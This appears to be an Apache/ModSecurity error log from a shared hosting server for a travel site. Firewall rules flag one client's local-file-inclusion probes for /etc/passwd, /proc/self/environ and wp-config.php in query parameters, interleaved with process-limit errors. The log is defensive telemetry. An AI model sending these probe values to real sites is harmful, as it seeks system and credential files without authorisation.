[Fri Jul 17 08:55:57.946958 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:imagesloaded-js: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UcgAAAAs"]
[Fri Jul 17 08:55:57.947135 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:imagesloaded-js: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UcgAAAAs"]
[Fri Jul 17 08:55:57.947923 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UcgAAAAs"]
[Fri Jul 17 08:55:57.949825 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:imagesloaded-js: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlywAAAA0"]
[Fri Jul 17 08:55:57.949985 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:imagesloaded-js: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlywAAAA0"]
[Fri Jul 17 08:55:57.950977 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlywAAAA0"]
[Fri Jul 17 08:55:57.951693 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.952280 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwlywAAAA0"]
[Fri Jul 17 08:55:57.951505 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlLQAAAAI"]
[Fri Jul 17 08:55:57.951852 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.953084 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxcWFJ5vQjUlAF6-UcgAAAAs"]
[Fri Jul 17 08:55:57.963373 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.983090 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.015467 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.019921 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.021347 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.025726 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.030374 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.032710 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.037525 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxo1dLClkUfK_dfHlLwAAAAI"]
[Fri Jul 17 08:55:58.038189 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxo1dLClkUfK_dfHlLwAAAAI"]
[Fri Jul 17 08:55:58.038317 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.038589 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxo1dLClkUfK_dfHlLwAAAAI"]
[Fri Jul 17 08:55:58.039989 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:v: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxivekYYQ8uns4MwlzQAAAA0"]
[Fri Jul 17 08:55:58.040107 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:v: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxivekYYQ8uns4MwlzQAAAA0"]
[Fri Jul 17 08:55:58.040257 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:v: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxlCBpfuYyhJ140vTDwAAAB4"]
[Fri Jul 17 08:55:58.040388 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:v: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxlCBpfuYyhJ140vTDwAAAB4"]
[Fri Jul 17 08:55:58.040707 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxivekYYQ8uns4MwlzQAAAA0"]
[Fri Jul 17 08:55:58.040842 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.041115 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxlCBpfuYyhJ140vTDwAAAB4"]
[Fri Jul 17 08:55:58.041209 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxivekYYQ8uns4MwlzQAAAA0"]
[Fri Jul 17 08:55:58.041254 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.041598 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxlCBpfuYyhJ140vTDwAAAB4"]
[Fri Jul 17 08:55:58.042926 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxkgVnBK6wAv37w6srwAAABQ"]
[Fri Jul 17 08:55:58.043584 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxkgVnBK6wAv37w6srwAAABQ"]
[Fri Jul 17 08:55:58.043738 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.044121 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxkgVnBK6wAv37w6srwAAABQ"]
[Fri Jul 17 08:55:58.058504 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:v: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxnRlmrtCoY_COpcmQQAAAAg"]
[Fri Jul 17 08:55:58.058661 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:v: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxnRlmrtCoY_COpcmQQAAAAg"]
[Fri Jul 17 08:55:58.059278 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxnRlmrtCoY_COpcmQQAAAAg"]
[Fri Jul 17 08:55:58.059460 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.059858 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxnRlmrtCoY_COpcmQQAAAAg"]
[Fri Jul 17 08:55:58.063599 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:v: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxsWFJ5vQjUlAF6-UdAAAAAs"]
[Fri Jul 17 08:55:58.063799 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:v: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxsWFJ5vQjUlAF6-UdAAAAAs"]
